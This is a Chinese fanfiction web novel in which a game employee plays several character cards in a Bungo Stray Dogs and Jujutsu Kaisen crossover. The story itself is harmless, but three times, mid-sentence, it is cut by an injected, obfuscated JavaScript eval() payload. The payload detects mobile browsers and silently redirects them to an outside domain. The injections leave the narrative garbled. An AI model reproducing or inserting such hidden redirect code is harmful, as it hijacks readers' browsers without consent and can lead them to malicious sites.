《谁说游戏员工不能救世》 1. 第 1 章 [——意识载入中——] [——载入成功——] 滴答。 一滴雨溅起尘埃。 初生于世的孩子抬起头看。 恰好风声在天地间突起,撕裂寂静,卷起苍穹的雷鸣。 霎时,暴雨如天河倾泻。 这场雨来得猝不及防,春寒时节的雨砸在身上时还带着未消融的寒意。 藤原千学找到一处闭店的店铺,动作迟缓地贴着粗糙的墙壁蹲下,将自己蜷成一团。 灰扑扑的身影与铅灰色的雨幕融为一体,成为这座城市庞大阴郁背景中,一滴微不足道的落雨。 空气里砭人肌骨的寒意又重了些。 他低垂着脑袋,慢慢闭上空茫漠然的黑色眼睛。 雨越来越大,没有丝毫停止的趋势,雨点落在身上时已经有些痛意了。 伶仃的身影一动不动。 像是灵魂被悄然抽离去往了另一个世界,只余下空洞的躯壳。 突然—— 一阵轻快得与这磅礴雨幕格格不入的脚步声由远及近。 穿着邮递员工作服的少年发现了他。 翠绿如雨后新叶的眼眸穿过迷蒙的雨幕,望向了缩在隐蔽处的瘦小身影。 少年凑近两步蹲下身。 “……” [别挂机了,有人过来了。] 搭档特调的电子音在脑海响起。 几乎就在同时,他的头顶上方也传来模糊人声——“我可以分你一半雨伞喔。” 少年的话语混杂在淅淅沥沥的雨声和轰然炸响的滚雷里,破碎的不成语句。 藤原千学没有听到他说了什么。 他只是感觉到,那持续不断、冰冷地拍打在身上的雨点消失了,于是用那双仿佛吞噬了一切光线的漆黑瞳孔毫无情绪地向上望去。 - [让我看看这家伙的信息——卧槽怎么是他?!] 因为过于惊愕,搭档甚至忘了维持新学会的电子音,位于总控空间站的他意念一动,将检测到的信息共享进神隐的脑子里。 控制着藤原千学这张角色卡的神隐也有些诧异。 [没想到啊……] 他在意识里感叹一声,将惊讶过渡到了角色卡身上。 - 藤原千学不可置信地瞪大眼睛,望向站在自己身前,与自己相同又不同的人,似乎看到了无法理解的东西。 时间在这一刻凝固。 撑伞的少年也低头看着他。 四目相对时,两个人都愣了好一会儿。 紧接着,少年反应过来了什么,翠绿的眼眸骤然亮起。 “你要和我一起吗?” 他伸出手。 在那片翻腾的、生机勃勃的绿意里,藤原千学确切地看到了——快要满溢出来的,纯粹至极的欣喜。 就像是被这对眼睛所注视着的,不是无家可归、灰扑扑的流浪者,而是此间独一无二的珍宝一般。 “……” 源自灵魂深处的本能牵引着他拉住了少年向他伸过来的手。 ——很暖和。 雨水敲打在伞面,不断发出噼啪的声响。 一道道纤细水柱沿着伞骨撑起的弧度流下,又砸进路面奔腾的浑浊积水里。 少年牵着男孩,走进了匆忙奔逃避雨的人流里。 雨聚如河,人流似海。 那道声音如他的步伐一样轻快。 “我叫乱步,江户川乱步,你叫什么呀?” 男孩张了张嘴,生涩地、一个音节一个音节地,吐出了那个尘封已久的名字。 “藤原、千学。” 雨仍然在这座城市里肆意倾泻。 但从这一刻起再也没有落到过藤原千学的头上。 …… 神隐:[但是我的剧本好像又消失了。] 搭档:[这个时候就不要在意这种东西了啊!] …… 江户川乱步从柜子里翻出一件像是警校生制服的旧衣服塞进藤原冰凉的掌心。 “不要。” 男孩没有动作,只睁着那双过于沉静、映不出光亮的漆黑眼眸看他。 “可是浑身湿漉漉的会很难受吧。” “不要。” 藤原千学仍旧拒绝。 江户川乱步歪头,乱糟糟的黑发随着动作晃了晃。 “那就等到没有人的时候再去洗澡吧,不过那个时候已经没有热水了。” “不要。” 连续被拒绝了三次的乱步也不生气,他坐在吱呀作响的床铺上摇了摇腿。 “这样的话睡觉的时候会非常非常不舒服的。” 藤原千学几次抬起眼睛看着江户川乱步,又迅速将目光垂落在地。 空气沉默了几秒。 最后,藤原千学说:“随便你。” “那我们就晚一点去洗澡。” 江户川乱步的热情并没有被这生硬的推拒打击到,他朝藤原千学露出了非常灿烂的笑。 “……” 藤原千学扭过头。 他有些笨拙地爬上床铺,蜷缩在正用湿毛巾擦拭雨渍的少年身侧。 沙哑流畅的话语从他的嘴里吐出:“住在你对面的那个男人,他讨厌你,因为你揭露了他同时交往了四个女人的事情。” 藤原千学语气平静地陈述着他用眼睛‘看到’的东西:“他明天早上一定会做出让你难堪的行为。” “我知道哦。” 并不觉得惊讶的江户川乱步洗了一遍毛巾,将藤原千学脏兮兮的脸蛋擦干净。 少年用欢快的语调说道:“所以我明天会提前一个小时离开这里,换一条小路绕去邮局。” “这样的话,一整天我都不会和他见到面了。” 藤原千学仰头看着少年轻松的笑脸。 他有些不解。 “后天那个人还是会来找你麻烦。” “那就再换一条路。” 少年的回答理所当然,仿佛这只是一个简单的岔路选择题。 “为什么?” 在藤原千学看来,江户川乱步的做法效率极低,且无法根除问题。 明明最直接有效的方法只有消除威胁源才对。 “因为,”江户川乱步将毛巾重新浸入温水里,“这是我好不容易找到的工作。” 听到这个回答,藤原千学缓慢地眨了下眼睛。 温热的毛巾拂过皮肤,留下舒适的暖意。 藤原千学微微闭了闭眼,没有抗拒。 - 直到过道的脚步声彻底隐没,两个人才去往了公共浴室。 窗外的暴雨已经慢慢停歇了。 一切都很安静。 如江户川乱步所说,锅炉早就熄火了。 这个时候淋到身上的水冰冷得要命,竟与寒雨也不相上下。 不过,终归还是不一样的。 藤原千学站在水龙头下,水流落到身上时刺激得皮肤都紧缩了一瞬。 “呜哇——好冷好冷好冷!!” 隔了一个位置的江户川乱步被冰的哇哇直叫。 十四岁少年的头发被水打湿,蔫蔫地贴在额角与颈侧,那双翠绿明亮的眼睛也因为这刺骨的冷意而睁得溜圆。 他不停搓着手臂。 嘴巴里还在不住地叫嚷“好冷好冷”。 同样淋着冰水,面上没什么表情的藤原千学见此,默默加快了自己的动作。 至少这场“冷雨”是随时都能够暂停的。 他如此想道。 藤原千学看得出来江户川乱步的作息很早,九点左右就是他入眠的时间。 为了陪自己这个来路不明、又固执不肯在人多时去浴室的家伙,硬是强撑着困意熬到了深夜陪着他来冰水中“受难”。 这可真是…… [所以你感到愧疚了吧?你一定感到愧疚了吧?] 搭档贱兮兮又抑扬顿挫的声音毫无征兆地在脑海里响起。 草。 [……给我滚啊!] 酝酿出的演技差一点就因为这道声音破功的神隐咬牙。 [我说,你这死破烂懂不懂气氛啊!老子都演到这里了你就不能沉浸式观影一看到底吗?!] 被称为破烂的搭档疑惑:[难道你沉浸式观影不说话吗?] [那别在老子脑子里说话啊!死破烂!!] [哈?你敢嫌弃我?我就说!就说就说就说就说——!!] [滚啊!!!] - 这场淋浴洗得很快。 拉着人跑回宿舍,江户川乱步哆嗦着爬到床上,用被子将自己和藤原千学紧紧裹住。 不大的单人床上,两个都十分消瘦的孩子挤着睡倒也刚好能够。 只不过对于初见的两个人而言。 姿势有些过于亲密了。 “晚安哦千学。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553949|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 共同裹在被子下的两个人头挤着头,大一些的孩子在教男孩说晚安。 “现在,该千学对乱步说了!” 江户川乱步期待着说道。 和少年紧紧贴在一起,不断从对方身上汲取着暖意的男孩缓慢复述:“晚安,乱步。” “晚安,千学。” 又说了一遍。 江户川乱步将被角捻好,满足地闭上了眼睛。 - 属于少年的呼吸迅速变轻。 困极了的江户川乱步在说完晚安之后便很快陷入了梦境之中。 藤原千学——或者说,操控着名为“藤原千学”这张角色卡的神隐也将意识抽离,回到了总控空间站。 “所以说游戏和现实还是有很大区别的,真是意外啊……” 没想到会偶遇到江户川乱步的他呢喃,伸手点开了控制台。 …… 员工是『黑白游戏』中『神隐』的扮演者。 『黑白游戏』 顾名思义,是他们所在世界最火热的一款类似狼人杀的剧情扮演类游戏。 背景设定是在一个即将面临毁灭的世界,十三位曾经一起长大的同伴因理念决裂、分道扬镳,最终走向三条不同道路的故事。 这是一个关于抉择,背叛与杀戮的游戏。 游戏共分三个阵营。 『黑—堕落者』 ——沉沦深渊,拥抱毁灭 『白—拯救者』 ——欲见天光,永怀希望 『灰—旁观者』 ——冷眼漠视,伺机而动 玩家每次开局将随机抽取一张角色卡,进入随机地图,面对随机事件。 在『黑白游戏』里,每个角色都拥有杀人的能力,但每一次选择都必须三思而后行。 ——角色卡与三个阵营并不划等号。 每一次选择都可能让角色得到不同身份,走向不同阵营。 更刺激的是,在最终阵营对决开启前的剧情阶段,玩家拥有杀死其他玩家、以此降低那位玩家数值的权利。 但成功与否要看另一个玩家所控制角色卡的智力与武力数值。 在全部剧情、事件结束之后,所有已“死亡”的玩家复活,准备真正开启阵营对决。 也就是俗称的狼人杀。 - 员工的工作,就是在游戏推出新活动或剧情PV时,与另外十二位角色扮演者一起,进入由『黑白游戏』创始人特意搭建的、宛如现实的小世界开启自由扮演,为玩家带来沉浸式的剧情体验。 而这次是员工的单独出差。 目的地是由两个濒临崩溃的世界强行融合、因为经历过一次回溯而奄奄一息的世界。 这是两个世界意识向高等文明发出的交易。 是的,世界之间存在意识与交流。 『黑白世界』的意识便是『黑白游戏』的创始人,但创始人没有捏造生命的权柄。 那个世界里全是创始人所建立的傀儡。 没有活动和剧情的时候就会成为一个宛如死亡的静止世界。 两个世界意识各自分割出一半本源,凝聚出一个可以产生生命与灵魂的生命之球,向高等文明——也就是『黑白游戏』创始人发出交易请求。 创始人同意了。 就在祂摩拳擦掌准备将自己所有金牌员工一窝蜂送过去干大事的时候,尴尬的事情出现了—— 这个缝合的世界脆弱的像是一块碎玻璃,最多只能承受住一个员工的重量。 一个人怎么拯救世界?! 创始人愤愤不平地哄骗两个世界意识签订了大量不平等条约,最后在石头剪刀布的“公平”选拔中,咸鱼到一直出石头的员工胜出了。 是的,天选之子就是这样来的。 在这个世界,他拥有所有『黑白游戏』角色卡的身体,能够自由调节设定与出现的时间节点。 依靠两个世界意识加持在身上的灵魂力,神隐能够做到同时操控全部身体。 这是个神明级别的外挂。 但是…… 那么多视角,员工看不过来。 “同时处理那么多视角?别开玩笑了,我的脑子一定会炸掉的。” 他又不是那个每个傀儡都要写二十万字人物小传的创始人老板。 于是,直到现在,抵达这个世界已经快两年的时间了,员工也仅仅只激活并投入了…… 三张角色卡。 2. 第 2 章 一个『学者-千页』 在此更名藤原千学。 『学者』 阵营:拯救者 ——没有人能够逃避学者的眼睛 这是个以绝对智慧傲视群雄的角色,在游戏里,他的技能为『天眼』:能够看到所有人的弱点、属性,在阵营对决中,猜中角色身份的成功几率为93%。 剧情结束,十三个玩家中智力数值最高者会得到这个身份。 而强大的洞察力同样也带来了不可逆转的负面buff,『学者』是所有身份里唯一一个“普通人”。 没有可靠的武力庇佑,再聪明的头脑也抵不过一记闷棍。 也因此, 这是个必须配对队友才能存活到最后的角色。 在设定角色卡时,神隐借用了本土世界线中一个角色的设定。 原定的想法是: 让这具身体以孩童的身份顺理成章加入擂钵街著名的未成年自卫组织——羊,而后以智者的身份跟随羊之王中原中也一同进入港口Mafia。 没想到开局就遇到了开门红。 角色卡登录这个世界时恰好遇见大雨,他随便找了个地方躲雨挂机托管,自己则趁着这段时间溜回后台摸鱼了。 而也就是在这个地方—— 他被十四岁的江户川乱步、同时也是这个角色卡所参考的角色捡了回去。 …… 一个『双面鬼-神隐』 在此更名伏黑隐。 『双面鬼』 阵营:堕落者 ——亡者堕入地狱,获得重返于世的权利,只是,要务必辨别现今与从前。 这是个比较特殊的角色。 它需要经历一次死亡才能够拥有杀人的能力。 身份会随机在剧情结束前的亡者中选择。 如果没有亡者,则会选择剧情中最为平庸的玩家,没有经历死亡,『双面鬼』会自动成为『拯救者』阵营中的“平民”。 同样因为有这个身份的存在,即使是在游戏正式开始之前,除非笃定自己会去往堕落者阵营,十三位玩家在动手的时候都十分谨慎。 减少敌对阵营力量是一方面,另一方面则是在复活之后,这个身份的能力与机制都十分bug。 ——它是唯一可以通过提前杀死队友取得最终胜利的角色。 伏黑隐这个角色卡,要比藤原千学的设定复杂一些。 他源于世界意识的委托。 祂说在上一个轮回里,祂过于亏欠祂所看重的孩子们了,于是请求给予那两个孩子一个安全、不再需要在意金钱与需要看他人脸色而行动的生活。 在世界意识的帮助下,伏黑隐干脆利落地挤掉了伏黑津美纪妈妈的位置。 [所以津美纪应该叫你妈妈?哇哦。] [不,叫哥哥,从现在开始,我就是她的嫡亲哥哥了。] 得益于两个世界尚未完全融合而产生的微妙的时间差异,神隐的意识能够在藤原千学和伏黑隐之间自由切换。 …… 东京都立咒术高专——这座隐藏在葱郁山林之中、伪装成宗教学校培育着咒术师的学校,此刻迎来了一位特殊的新生。 身材魁梧的教师领着白发少年穿过廊道。 少年背着市面上最常见的书包,罕见的灿金色眼眸盛着兴奋与好奇,时而抬手摸摸略显斑驳的墙壁,又时而扭头打量着廊道外的静谧之景。 夜蛾正道开口:“因为这个学年快要结束了……” “啊——我知道!” 少年立刻接过夜蛾正道的话头,清亮雀跃的声音打破了高专常有的沉静。 “是让我先暂时在这个班级上课,下个学年再正式入学的意思,对吗?”说话的白发少年快走两步,在阳光下泛着微光的暖白发梢随着动作轻扬。 “我了解过这些!所以,我现在是要去前辈的班级里暂读对吧!” 好久没有面对过这么有活力的学生了啊…… 下意识忽略了更有活力但也更加闹腾的五条悟,夜蛾正道点头:“对,接下来的时间,你会暂时在这个班级学习生活。” “等到四月,才算是真正入学了。” 说着,他带新生停在了一扇崭新的教室门前。 对比五条悟乖巧了不是一分半点的白发少年见此,本就明灿的金色眼睛又亮了一些,里面充满了对前辈们的期待。 他站在夜蛾正道身后,等待着教师推开这扇门。 “咻——啪嗒。” 门刚被推开,半截被蛮力折断的筷子便精准地砸落在了根本来不及说话的夜蛾正道鞋边。 “……” “悟,你是想打架吗?!” 课桌前整整齐齐摆着一份打包的笼屉荞麦面,但手上不知为何少了一支筷子的夏油杰怒气冲冲。 “老子不管!杰你必须先和老子打完这一关!!”已经拍桌跳到椅子上的五条悟理不直也气壮。 至于家入硝子——哦,她在抽烟。 眼下青黑的棕发少女背对着她的两位同期,面朝窗外正悠闲地吞云吐雾。 对于同期打闹早已习以为常的她戴着耳机,并没有听到开门声。 看着这一幕,本来还妄想让作为前辈的三个人给新生一点好印象都夜蛾正道:“…………” ……他刚刚还在和这个孩子说这三个家伙应该都会是很可靠的前辈。 可靠,哈哈。 而站在夜蛾正道后面乖乖等待的少年同样也听到了里面的动静。 他悄悄侧身,从被夜蛾正道挡得严严实实的门缝间隙,好奇地往里望了一眼。 这一眼,便毫无预兆地撞进了一片浩瀚无垠的苍穹之中。 那是一双仿佛含着天空的、璀璨的苍蓝色眼眸。 短暂的被这双眼睛里的色彩震撼了一下,回过神的少年唇角扬起,朝看过来的五条悟露出了同样耀眼的灿烂笑容。 五条悟:“……!!!” 教室里,与他发色相近,但色调偏冷的白发前辈瞬间停下了和同期的吵闹,整个人僵在原地,呆呆地望向夜蛾正道身后的少年。 趁着这个机会,夏油杰从五条悟手中抢回了自己仅剩一根的筷子。 “悟,怎么了?” 背对门口的夏油杰看着挚友的表情有些疑惑,他循着五条悟视线的方向看了过去。 看到了黑沉着脸的班主任。 还有班主任脚下的半截筷子。 夏油杰:“……………” 不妙的预感笼罩住他。 夏油杰转头发现他的挚友同期此时正直勾勾地、像是痴汉一样盯着…… ……夜蛾正道?!! 嘶——这不对吧! 丸子头少年因为脑子里过于惊悚的猜想倒吸一口凉气。 就在他马上要想到更离谱的地方去的时候,夜蛾正道终于迈出了沉重的步伐,走进了教室。 而被遮在教师身躯后的人也自然地露出了身影。 将高专制服改成了普通高校中最常见男子制服的少年背着书包,跟在夜蛾正道身后,步伐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553950|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻快地走进了教室。 “咳!” 装作之前一切都没有发生过的夜蛾正道清了清嗓子,声音低沉:“这位是伏黑隐,将在下一学年正式入学的新生,也就是你们的学弟。” 名为伏黑隐的学弟向前一步,站在了教师身侧。 少年有着一头蓬松的暖白色卷发,像是积攒在一起飘动的云朵。 “前辈们好!” 他的声音清脆悦耳,带着蓬勃的朝气。 “我是伏黑隐,术式是治愈与净化!” 外貌与绵羊一样吸睛可爱,性格也开朗得不像是个咒术师的少年站在讲台自我介绍着,对他们露出了一道宛如太阳般的笑。 纯粹而温暖的金色眼眸随着笑容弯成两道明媚的月牙。 “接下来的日子,就请前辈们多多指教了!” 也像极了太阳。 夏油杰看着伏黑隐的眼睛出神地想。 - 伏黑隐的设定,是与诅咒师厮混多年、但突然改邪归正的黑医。 他在某一天和诅咒师搭档杀完人放了火之后突然醒悟,带着连夜制造的假证就去了总监会。 面对一众或威严、或审视的高层目光,伏黑隐脸上挂着人畜无害、堪比世界好学生的微笑,二话不说,抬手就对着其中一个老头施展了自己的治愈术式。 月白光芒流淌,将磅礴的生命力注入,将苍老的躯体带回十年前的状态。 那位长老只觉压在脊背上的沉重霎时如冰雪消融,久违的轻松感让他差点呻吟出声。 所有人都看见了这一幕。 总监会的目光瞬间变得无比炽热。 就在无数橄榄枝即将伸出的时候,白发少年用充满期待的声音,掷地有声地说道: “我要去上学!!!” 总监会众高层:“………?” 最终,在总监会“不能交坏但也绝对不能让他继续当诅咒师”的共识下,前·诅咒师界知名地下医生·伏黑隐被打包送进了东京都立咒术高专。 - “喂,你的术式真的只有这两个功能吗?” 因为身高差异,教室内的课桌重新排列成了两排,伏黑隐坐在了家入硝子的左边,五条悟的前面。 他刚刚将书包放下,后衣领便被一只骨节分明、力道十足的手猛地揪住了。 听到五条悟充满不爽与探究的声音,被拽得后仰的伏黑隐有些诧异地眨眨眼睛。 “啊?” 这就是六眼吗? 居然连进阶的技能都能看到……神隐在意识里戳戳世界意识。 世界意识:[按道理来说是不可能看到的。] “你的术式肯定还可以控制心脏!!不然老子为什么心跳那么快?!” 神隐:“……” 世界意识:[……] 哦,是一见钟情啊。 这算是更换新地图后赠送的大礼包吗? 听到五条悟的质问,被拉住后衣领的伏黑隐无辜地摇摇头:“我不知道诶。” 五条悟明显不接受这个答案,他提高音量。 “老子不相——” 丸子头少年眼疾手快捂住了白毛墨镜的嘴,有些不好意思地向他微笑。 “可能是悟最近太累了,没有休息好的原因吧,抱歉啊学弟!” “没关系的,夏油前辈。” 伏黑隐非常好脾气地笑了笑,他整理好自己的衣领,看向五条悟,说道: “正好我的术式也可以治愈疲惫哦,前辈,要试试吗?” 3. 第 3 章 五条悟僵硬地坐在伏黑隐的座位上。 按在头上的力道很轻,六眼的存在使他能够清晰地看见身后少年的一举一动。 从别着小狗发卡的卷曲发丝落到专注温柔的金色眼眸,又缓缓往下,扫过少年自然勾起的唇角。 大脑空白地看着这一切,五条悟的呼吸越来越轻,越来越轻,仿佛要随着身后之人的吐息一同飘进空气里。 ——“五条前辈,感觉怎么样?” 温和的询问如泉水流淌过五条悟放空的大脑,又像是一片羽毛,猝不及防地轻拂过他擂动的心脏。 “呲啦——!” 五条悟猛地从椅子上弹了起来,椅子腿刮出一声刺耳的锐响。 离得最近的伏黑隐被这突如其来的举动吓了一跳,他下意识后退半步,茫然地眨了眨眼。 “……是不起作用吗?五条前辈。” 五条悟没有回答。 他顶着一张通红的脸,面无表情走到窗边,抬手打碎了窗户。 整扇窗户的玻璃“哗啦”碎了一地。 高大的身影毫不犹豫纵身一跃,消失在了窗边。 看着落在窗边的碎玻璃,伏黑隐愣了好一会儿,他才迟疑地看向同样没反应过来的夏油杰:“五条前辈……这是怎么了?” 夏油杰脸上的温和笑容凝固了一瞬,随即以惊人速度重新悍牢。 “没事,悟只是想家了。” 他的语调平稳,仿佛在陈述一个再自然不过的事情。 “五条前辈的家……” 已经走到窗边的伏黑隐困惑地歪了下头,视线投向窗外楼下,“在……水塘里吗?” “……” “……” 空气再度凝固。 家入硝子默默把头转向墙面,肩膀可疑地耸动了一下;夏油杰额角那滴强撑了半天的冷汗终于滑了下来。 他张嘴:“啊……这……他……” 对上学弟好奇的眼睛,夏油杰闭上了嘴。 - 看到这一幕,理论课老师默默把踏进教室的脚收了回去。 这课还上得了吗? 时常经历旷课事件的他忧伤地想着。 - ……还是能上的。 高专的课程一般都是上午理论文化课,下午体术训练,伏黑隐踩着中午的时候抵达,刚好赶上今天最后一节理论课。 或许是因为五条悟缺陷,教室里难得维持了一整堂课的平静。 但仍旧没有多少人在听课。 家入硝子趴在桌上睡得香甜,夏油杰坐姿端正,眼神却早就飘向了不知名的地方走神。 不过令理论课老师感到欣慰的是——新来的学生在很认真地听着自己讲课。 这个乖孩子甚至还会记笔记! 教书数十年,这是他第三次遇到如此认真学习文化课的学生。 感动的理论课老师这一节课讲得前所未有的卖力。 直到下课铃响,他才清了清口干舌燥的嗓子,满足地抱着教案离开了教室。 “我先走了,夏油前辈、家入前辈。” 而伏黑隐也将自己的速写本放回了书包,向另外两人道别。 “拜拜——” 家入硝子伸了个懒腰,散漫地站起身。 夏油杰跟着站起身,目光落到少年略微单薄的背上,突然想到了什么,在伏黑隐马上踏出教室的时候伸出手,轻轻搭在了对方的肩上。 “伏黑同学不去食堂吗?” 伏黑隐的动作一顿,扭过头,映入眼帘的是丸子头少年带着笑的面容。 他回答:“我下午不用上课,所以打算先回去收拾宿舍。” “下午时间那么久,还有吃饭更要紧一些吧。” 夏油杰的声音好像一直是那么温和,不管对待谁都给人一种如沐清风的温柔,他说完,白发学弟的眼睛便倏然亮起,一脸动容地望着自己。 “除了妹妹……这还是第一次有人关心我吃不吃饭!” 然后,丝滑地拒绝了他的邀请。 “那么就一起……”以为伏黑隐会答应的夏油杰眉梢诧异地扬起:“诶?” “因为我已经一天没睡觉了,昨天治疗了超级多超级多的人,直到现在都没有睡觉。” 他说着,适时地打了个哈欠。 “我可不想让前辈们看见我睡倒在餐盘上的糗态。” “这样啊……”夏油杰松开手,说:“那我陪你收拾吧,两个人快一些,你也能早点休息。” 听到这句话,伏黑隐有些意外地睁大眼睛,随即又迅速露出灿烂的笑。 “那就先谢谢夏油前辈了!” - 高专的宿舍是允许学生自由选择的。 但作为前诅咒师、现三级咒术师、以及被总监会“寄以厚望”的准一年级生而言——伏黑隐拥有属于自己的定制VIP宿舍。 他被安排在了二年级生冥冥的隔壁。 伏黑隐摸出钥匙开门的时间,夏油杰看了眼隔壁紧闭的门扉。 “伏黑同学和冥冥认识?” “冥冥?”伏黑隐抬头,金眸闪过茫然,他顺着夏油杰的目光看向冥冥的宿舍,“隔壁原来还有人吗?这是总监会安排的宿舍,我也不知道。” 夏油杰惊讶:“总监会?” 伏黑怎么会和总监会有关系? “嗯。” 伏黑隐应了一声,推开宿舍门。 光线涌入,照亮里面过分规整的陈设,夏油杰跟在伏黑隐的后面走了进去。 “在来高专之前,我是一个诅咒师。”少年顿了顿,又补充道:“或者说,是一个专门治疗诅咒师的地下医生。” 夏油杰:!! 没有给夏油杰更多消化这个爆炸性信息的时间,伏黑隐径直走向了自己的行李箱,“咔哒”一声打开。 “夏油前辈,”他指着地上提前放到地板上的洗漱用品,“麻烦帮我把这些放到浴室,谢谢啦。” 态度自然得仿佛刚才只是聊了句闲话。 “……嗯,好。” 夏油杰压下心头的惊涛骇浪,面上维持着前辈的沉稳,心念微动,一只生着无数细长手臂的咒灵出现,灵活地卷起地上的瓶瓶罐罐飘向浴室,将它们整齐地摆放在置物架上。 在咒灵摆放洗漱用品的间隙,夏油杰走向床边,伸手帮伏黑隐的被子抖开。 就在他弯腰整理床角时,眼角的余光不经意间瞥向墙顶——“那是……冥冥的乌鸦?” 对角线的墙顶赫然挂着一个鸟笼,里面关着只通体漆黑的乌鸦。 那只乌鸦一动不动、安静得如同玩偶。 只在伏黑隐移动的时候转动脑袋,用那对圆睁的、漆黑的眼珠一瞬不眨地冰冷地注视着他。 “啊,应该是吧。” 伏黑隐仰起脸,瞳孔映出鸟笼的轮廓。 “毕竟我以前是诅咒师嘛,有点防备挺正常的。” 一共有四只乌鸦……夏油杰的眉头紧锁。 “但这明显就监视吧。” 冥冥的术式——『黑鸟操术』,其中有个技能便是能够与乌鸦共享视野。 四只挂在顶角的鸟笼,完全能够将宿舍内的所有举动都一览无余,这也意味着伏黑隐在这方寸之地毫无隐私可言。 比起戒备,这些乌鸦更像是总监会安插在伏黑隐身边的,永不疲惫、永不眨眼的“监视器”。 一股难以言喻的寒意混杂着对总监会的怒气,如雨后春笋般在夏油杰心底疯长。 “没关系的。” 伏黑隐的声音将他从情绪中拉回现实, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553951|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白发少年将几件日常服装、还有换洗的制服挂进衣柜,动作不徐不疾,仿佛那只是四个无关紧要的装饰品。 他是真的无所谓。 “浴室和厕所里没有,已经很不错了。” 其实装了也没事。 这个念头在伏黑隐心中一闪而过。 毕竟伏黑隐这个身份也只是一张角色卡而已,他要休息,也只会在自己的总控空间站休息。 “好了,全部都整理好了!” 伏黑隐轻快地合上空荡荡的行李箱,从书包里翻出一包手工饼干,递到夏油杰身前,“多谢夏油前辈了,这是我的谢礼。” 夏油杰接过,目光不由自主地再次看向了房顶那几双冰冷的眼睛 他说:“我可以帮你解决它们。” 这并非一时冲动的想法,夏油杰讨厌这种无处不在的监视,更何况对象是对恶意毫无防备之心的后辈。 他看起来实在不像是个前诅咒师。 “这样的话夏油学长会惹到麻烦的吧。” 伏黑隐摇头,再一次拒绝了他的提议。 单手拿着相框的少年脸上依旧带着灿烂开朗的笑,“如果实在忍受不住了,我一定会向夏油前辈求助的。” 他抬眸,那双眼睛澄净地望进夏油杰眼底,带着近乎天真的诱惑力。 “现在嘛……请夏油前辈再和我多相处几天吧。”少年歪头,声音轻柔地落到他的心尖,“这样的话——我大概会更依赖夏油前辈一点吧?” “…………” 一股热流猛地窜上耳根。 夏油杰红着脸关上了伏黑隐的宿舍门。 直到回到自己的宿舍,他也仍然能够感觉到胸腔内剧烈跳动的那颗心脏。 夏油杰按住不停跳动的心口。 轻轻叹了口气。 …… …… “啧,我就知道。” 回到总控空间站,神隐点开了角色卡的配置仔细翻阅,黑着脸将其中一个戴着粉色蝴蝶结的小狗发卡卸下。 这是当时去面对总监会的时候佩戴的道具,能够让人对自己生不起恶意,在面对正向好感的角色时,有极小概率可以大幅度提升好感度。 而这也是总监会没有直接把伏黑隐监禁,反而答应了他上学这个要求的原因。 “居然忘记把这玩意儿卸下来了,就说为什么他们的态度那么奇怪……” 不管怎么说,伏黑隐是总监会推荐的人这件事,至少五条悟和夜蛾正道是肯定知情的。 讨厌总监会的五条悟最开始对他的态度太柔和了。 柔和到甚至愿意让伏黑隐触碰他的脑袋。 这不正常。 把小狗发卡随手别在摸鱼追剧的搭档头上,神隐转着自己的椅子叹了口气。 “本来是打算循环渐进加好感的啊。” 一次性增加那么多好感度,等五条悟反应过来,一定会觉得他不对劲、然后加强对自己的戒备和排斥吧。 搭档安慰:“反正只需要保证灰原雄和天内理子不死亡,其他东西随便啦。” “如果这是游戏就好了,这样就可以存档卡bug刷好感。” 神隐嘟囔着,坐直身体把自己的剧本移过来,在上面修修改改。 咬着磨牙棒的搭档滚着椅子过来,“你不是说这剧本没什么用吗?怎么还要继续写啊?” 来到这个世界接近两年时间,神隐的剧本除了他自己,没有一个人跟着剧本走。 是的,没有一个人。 神隐停下码字的双手,一脸严肃:“我是一个有追求的人。” 搭档看看神隐,又看看字数越来越少的剧本,最后摇摇头,选择转着椅子回到了自己的追剧界面。 神隐恼羞成怒:“喂!死破烂你什么意思?!” 4. 第 4 章 “咚——” 特殊的提示音响起在床边。 伏黑隐抱着被子翻了个身,摸索着床头柜抓起手机,眼睛睡眼惺忪地掀开一条缝。 屏幕冷白的光照亮少年迷蒙的脸。 “……” 在看清之后,所有睡意在这一瞬间蒸发殆尽,伏黑隐面无表情地睁开眼睛,盯着陌生号码发来的信息,金色瞳孔中再无一丝倦意。 他坐起身。 无形的、细微精密的咒力悄无声息地在房间里扩散开,精准地覆盖住四个鸟笼内的乌鸦。 在乌鸦的视野中,被提示音吵醒的少年只是疲惫地打了个长长的哈欠,便再度缩进了被子里重新陷入睡眠,在天亮之前再也没有醒过来。 为自己的离开打好烟雾弹后,伏黑隐径直走向阳台。 夜风伴着山间的寒意灌入,吹动他额前的白发,没有丝毫犹豫,少年单手撑住栏杆,轻盈地翻越而下,消失在了沉沉黑夜中。 - 厚重山雾笼罩住深邃的夜。 